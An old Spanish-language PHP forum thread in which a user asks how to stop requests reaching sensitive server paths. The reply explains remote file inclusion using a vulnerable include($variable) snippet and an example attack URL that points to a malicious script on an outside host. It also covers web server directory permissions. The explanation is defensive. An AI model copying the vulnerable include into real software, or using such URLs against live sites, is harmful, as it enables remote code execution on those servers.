Foros del Web » Programando para Internet » PHP »

regular expresions

Estas en el tema de regular expresions en el foro de PHP en Foros del Web. saludos! lei algo de las expresiones regulares en php, y que su uso puede evitar que alguien desde el browser acceda a direcciones sensitivas en ...
  #1 (permalink)  
Antiguo 03/09/2002, 10:41
 
Fecha de Ingreso: julio-2001
Mensajes: 7
Antigüedad: 23 años, 4 meses
Puntos: 0
regular expresions


saludos! lei algo de las expresiones regulares en php, y que su uso puede evitar que alguien desde el browser acceda a direcciones sensitivas en el disco duro del server.

ahora, como hago para que cada vez que se escriba una direccion en el url del browser se ejecute una rutina que evalue dicha url que ha sido escrita por el usuario??

gracias.

la meta es no ser imbéciles
  #2 (permalink)  
Antiguo 03/09/2002, 10:57
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 10 meses
Puntos: 129
Re: regular expresions

Creo q lo q tu has leido es algo como esto:

si tienes un:
llamar_fichero.php
<?
include($algunarchivo);
?>

y lo llmas asi:
llamar_fichero.php?algunarchivo=http://taltal.com/scriptmalicioso.php

Por ahi te podrian ejecutar algun script o mas cosas ..

Bien . si es asi .. se usan las expresiones regulares para ver detalles sobre el Host q hace referencia etc ...

Pero .. Si no usas eso (q por cierto hay mas metodos mas seguros para hacer un include de ese tipo) .. El proteger o no un directorio de tu servidor .. no depende de PHP sino de los permisos de acceso q les des en tu Servidor HTTP .. bien sea con un .httpdaccess .. o directamente sobre el la configuracion de tu servidor HTTP .. (si usas apache . edita tu httpd.conf y veras un apartado <directory /> .. y ahi unos permisos </directory>)

Podrias publicar el articulo/pagina q dices q vistes a ver si es eso o no ...

Un saludo,
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:52.